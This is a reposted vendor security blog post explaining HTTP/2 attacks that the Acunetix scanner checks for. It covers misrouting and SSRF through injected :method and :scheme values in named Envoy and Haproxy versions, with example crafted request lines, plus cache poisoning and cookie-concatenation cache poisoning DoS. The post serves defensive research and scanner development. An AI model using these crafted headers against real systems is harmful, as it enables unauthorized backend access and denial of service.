(It's a repost from https://www.acunetix.com/blog/web-security-zone/how-acunetix-addresses-http-2-vulnerabilities/)
In the latest release of Acunetix, we added support for the HTTP/2 protocol and introduced several checks specific to the vulnerabilities associated with this protocol. For example, we introduced checks for misrouting, server-side request forgery (SSRF), and web cache poisoning. In this article, we’d like to explain how these vulnerabilities happen so that you can understand the logic behind the checks.
An introduction to HTTP/2
To understand HTTP/2, it’s best to compare it with its predecessor, HTTP/1.x.
How HTTP/1.x works
HTTP/1.x is a text-based protocol. An HTTP request consists of
headers and possibly a body. To separate headers between themselves as
well as headers from the body, you use the character sequence \r\n
(CRLF).
The first header is the request line, which consists of a method, a path, and a protocol version. To separate these elements, you usually use whitespaces. Other headers are name and value pairs separated by a colon (:). The only header that is required is Host.
The path may be represented in different ways. Usually, it is relative and it begins with a slash such as /path/here, but it may also be an absolute URI such as http://virtualhost2.com/path/here. Moreover, the hostname from the path takes precedence over the value of the Host header.
GET /path/here HTTP/1.1
Host: virtualhost.com
Other-header: value
When the web server receives an HTTP/1.x request, it parses it using certain characters as separators. However, due to the fact that HTTP is an old protocol and there are many different RFCs dedicated to it, different web servers parse requests differently and have different restrictions regarding the values of certain elements.
How HTTP/2 works
HTTP/2, on the other hand, is a binary protocol with a completely different internal organization. To understand its vulnerabilities, you must know how the main elements of the HTTP/1.x protocol are now represented.
HTTP/2 got rid of the request line and now all the data is presented in the form of headers. Moreover, since the protocol is binary, each header is a field consisting of length and data. There is no longer a need to parse data on the basis of special characters.
HTTP/2 has four required headers called pseudo-headers. These are :method, :path, :scheme, and :authority. Note that pseudo-header common names start with a colon, but these names are not transmitted – instead, HTTP/2 uses special identifiers for each.
- :method and :path are straight analogs of the method and path in HTTP/1.1.
- :scheme is a new header that indicates which protocol is used, usually http or https.
- :authority is a replacement for the Host header. You are allowed to send the usual Host header in the request but :authority has a higher priority.
Misrouting and SSRF
Today’s web applications are often multi-layered. They often use HTTP/2 to interact with user browsers and HTTP/1.1 to access backend servers via an HTTP/2 reverse proxy. As a result, the reverse proxy must convert the values received from HTTP/2 to HTTP/1.1, which extends the attack surface. In addition, when implementing HTTP/2 support in a web server, developers may be less strict about the values in various headers.
Envoy Proxy
For example, when I was doing research for the talk “Weird proxies/2 and a bit of magic” at ZeroNights 2021, I found that the Envoy Proxy (tested on version 1.18.3) allows you to use arbitrary values in :method, including a variety of special characters, whitespace, and tab characters. This makes misrouting attacks possible.
Let’s say that you specify :method to be GET http://virtualhost2.com/any/path?
and :path to be /
. Envoy sees a valid path /
and routes to the backend. However, when Envoy creates a backend
request in the HTTP/1.x protocol format, it simply puts the value from :method into the request line. Thus, the request will be:
GET http://virtualhost2.com/any/path? / HTTP/1.1
Host: virtualhost.com
Depending on the type of backend web server, it can accept or reject
such a request (because of the extra space). In the case of nginx, for
example, this will be a valid request with the path /any/path? /
. Moreover, we can reach an arbitrary virtual host (in the example, virtualhost2.com
), to which we otherwise would not have access.
On the other hand, the Gunicorn web server allows arbitrary values
in the protocol version in the request line. Therefore, to achieve the
same result as with nginx, we set :method to GET http://virtualhost2.com/any/path HTTP/1.1
. After Envoy processes the request, it will look like this:
GET http://virtualhost2.com/any/path? / HTTP/1.1 / HTTP/1.1
Haproxy
A similar problem exists in Haproxy (tested on version 2.4.0). This reverse proxy allows arbitrary values in the :scheme header. If the value is not http
or https
, Haproxy puts this value in the request line of the request sent to the backend server. If you set :scheme to test
, the request to the web server will look like this:
GET test://virtualhost.com/ HTTP/1.1
Host: virtualhost.com
We can achieve a similar result as for Envoy by simply setting :scheme to http://virtualhost2.com/any/path?
. The final request line to the backend will be:
GET http://virtualhost2.com/any/path?://virtualhost.com HTTP/1.1
This trick can be used both to access arbitrary virtual hosts on the backend (host misrouting) and to bypass various access restrictions on the reverse proxy, as well as to carry out SSRF attacks on the backend server. If the backend has an insecure configuration, it may send a request to an arbitrary host specified in the path from the request line.
The latest release of Acunetix has checks that discover such SSRF vulnerabilities.
Cache poisoning
Another common vulnerability of tools that use the HTTP/2 protocol is cache poisoning. In a typical scenario, a caching server is located in front of a web server and caches responses from the web server. To know which responses are cached, the caching server uses a key. A typical key is method + host + path + query.
As you can see, there are no headers in the key. Therefore, if a web application returns a header in a response, especially in an unsafe way, an attacker can send a request with an XSS payload in this header. The web application will then return it in the response, and the cache server will cache the response and return it to other users who requests the same path (key).
HTTP/2 adds new flavors to this attack. They are associated with the :scheme header, which may not be included in the key of a cache server, but through which we can influence the request from the cache server to a backend server as in the misrouting examples.
The attack may also take advantage of :authority and Host headers. Both are used to indicate the hostname but the cache server may handle them incorrectly and, for example, use the Host header in the cache key, but forward the request to the backend using the value of the :authority header. In such case, :authority will be an unkeyed header and an attacker can put a payload for cache poisoning attack in it.
Cache poisoning DoS
There is also a variation of the cache poisoning attack called the cache poisoning DoS. This happens when a cache server is configured to cache error-related responses (with a response status 400, for example). An attacker can send a specifically crafted request which is valid for the cache proxy but invalid for the backend server. It’s possible because servers parse requests differently and have different restrictions.
HTTP/2 offers us a fairly universal method for this attack. In
HTTP/2, to improve performance, each cookie is supposed to be sent in a
separate cookie header. In HTTP/1.1, you can only have one Cookie
header in the request. Therefore, the cache server, having received a
request with several cookie headers, has to concatenate them into one
using ;
as a separator.
Most servers have a limit on the length of a single header. A typical value is 8196. Therefore, if an attacker can send HTTP/2 request with two cookie headers with a length of 5000, they do not exceed the length and will be processed by a cache server. But the cache server concatenates them into one Cookie header, so the length of the Cookie header for the backend is 10000, which is above the limit. As a result, the backend returns a 400 error. The cache server caches it and we have a cache poisoning DoS.
The latest release of Acunetix includes checks for both web cache poisoning and CPDoS via HTTP/2.
More HTTP/2 in the future
The vulnerabilities listed above are the most common HTTP/2 vulnerabilities but there are more. We plan to add more checks in future scanner releases.
If this topic is of interest to you, I recommend looking at the following papers: